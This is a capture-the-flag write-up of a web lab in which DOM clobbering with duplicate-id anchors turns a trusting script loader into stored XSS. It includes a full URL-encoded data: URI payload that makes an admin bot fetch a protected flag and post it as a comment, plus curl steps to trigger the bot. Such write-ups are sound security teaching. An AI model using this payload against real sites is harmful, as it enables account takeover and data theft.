Lab 42 — ProsePad — DOM Clobbering to Stored XSS
Lab 42 — ProsePad — DOM Clobbering to Stored XSS
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: data_uri_script_delivery, dom_clobbering_htmlcollection, named_property_access_on_htmlcollection, same_origin_exfiltration_via_api, sanitizer_bypass_id_name_attributes
Summary
Task: ProsePad collaborative writing platform sanitizes article HTML but preserves id/name attributes and data: URIs in href; a widget loader script reads window.appConfig.cdnUrl to load a script. Solution: DOM clobbering via two anchor elements with same id creates HTMLCollection, named access via name attribute provides attacker-controlled data:text/javascript URI as script src, exfiltrating admin flag via comment API.
Lab 42 — ProsePad — DOM Clobbering to Stored XSS — HackAdvisor
Description
ProsePad is a collaborative writing and publishing platform built by Inkwell Labs. The application allows users to create, edit, and publish articles with rich formatting. It features a rich text editor with a "Raw HTML" mode for advanced formatting. Content is sanitized server-side to prevent script injection, but the sanitizer configuration may not account for all browser behaviors. An admin bot periodically reviews newly published and reported articles. The goal is to execute JavaScript in the context of the admin bot's session and access protected endpoints.
Target: https://eb604232-0b01-462d-a255-0d70eb0b0d0f.labs.hackadvisor.io/ Credentials: user@test.com / password123
English summary: ProsePad is a Node.js/Express article publishing platform with a rich text editor supporting Raw HTML mode. Articles are sanitized server-side (stripping script tags, event handlers, javascript: URIs) but the sanitizer preserves id and name attributes on structural elements and allows data: URIs in href. A widget loader script on article view pages reads window.appConfig.cdnUrl to dynamically load a script. An admin bot visits reported articles. The goal is to achieve XSS in the admin's session and exfiltrate the flag from /api/admin/flag.
Analysis
Application Structure
- Article Editor (
/editor): Rich text editor with "Raw HTML mode" toggle for direct HTML input - Article View (
/articles/{id}): Renders article content, then runs a widget loader script - Admin Flag Endpoint (
/api/admin/flag): Returns flag only for admin sessions - Report Mechanism (
POST /api/articles/{id}/report): Triggers admin bot to visit the article
Sanitizer Behavior
The server-side sanitizer:
- Strips:
<script>,<iframe>,<object>,<embed>,<base>tags - Strips: Event handlers (
onerror,onload,ontoggle, etc.) - Strips:
javascript:URIs from href attributes - Preserves:
idandnameattributes on structural elements (including<a>) - Preserves:
data:URIs in href attributes
Widget Loader Script (Vulnerable Code)
On article view pages, after the article content is rendered into the DOM:
javascript read-only • copy allowedwindow.appConfig = window.appConfig || {}; var s = document.createElement('script'); s.src = window.appConfig.cdnUrl || '/js/widgets.js'; document.head.appendChild(s);
Key observations:
- The script runs AFTER article HTML is already in the DOM
- It trusts
window.appConfig.cdnUrlwithout validation - If
window.appConfigis already truthy, the|| {}fallback is skipped - Whatever
window.appConfig.cdnUrlresolves to becomes a scriptsrc
DOM Clobbering Vector
The classic double-anchor DOM clobbering technique exploits browser behavior:
- Two elements with the same
idattribute create anHTMLCollectionaccessible viawindow[id] - An
HTMLCollectionis truthy, sowindow.appConfig || {}keeps the HTMLCollection - Named property access on HTMLCollection:
collection.cdnUrlreturns the element withname="cdnUrl" - When an
<a>element is coerced to string (assigned to.src), it returns itshrefvalue
Solution
Step 1: Craft the DOM Clobbering Payload
html read-only • copy allowed<a id="appConfig"></a><a id="appConfig" name="cdnUrl" href="data:text/javascript,PAYLOAD"></a>
The JavaScript payload fetches the admin flag and posts it as a comment:
javascript read-only • copy allowedfetch("/api/admin/flag") .then(function(r) { return r.json() }) .then(function(d) { var aid = location.pathname.split("/").pop(); fetch("/api/articles/" + aid + "/comments", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ content: "FLAG:" + JSON.stringify(d) }) }) })
Step 2: URL-encode the Payload for data: URI
The full href with URL-encoded payload:
data:text/javascript,fetch(%22/api/admin/flag%22).then(function(r){return r.json()}).then(function(d){var aid=location.pathname.split(%22/%22).pop();fetch(%22/api/articles/%22%2Baid%2B%22/comments%22,{method:%22POST%22,headers:{%22Content-Type%22:%22application/json%22},body:JSON.stringify({content:%22FLAG:%22%2BJSON.stringify(d)})})})
Step 3: Create and Publish the Article
Full article HTML content submitted via Raw HTML mode:
html read-only • copy allowed<a id="appConfig"></a><a id="appConfig" name="cdnUrl" href="data:text/javascript,fetch(%22/api/admin/flag%22).then(function(r){return r.json()}).then(function(d){var aid=location.pathname.split(%22/%22).pop();fetch(%22/api/articles/%22%2Baid%2B%22/comments%22,{method:%22POST%22,headers:{%22Content-Type%22:%22application/json%22},body:JSON.stringify({content:%22FLAG:%22%2BJSON.stringify(d)})})})"></a><h2>Modern Web Development</h2><p>Content here.</p>
Step 4: Trigger the Admin Bot
bash read-only • copy allowed# Publish the article curl -X POST https://TARGET/api/articles/{id}/publish -H "Cookie: session=..." # Report the article to trigger admin bot visit curl -X POST https://TARGET/api/articles/{id}/report -H "Cookie: session=..."
Step 5: Retrieve the Flag
The admin bot visits the article → DOM clobbering overrides window.appConfig.cdnUrl → browser loads the data:text/javascript URI as a script → script fetches /api/admin/flag with admin session → posts the flag as a comment on the article.
Retrieved the flag from the article's comments section.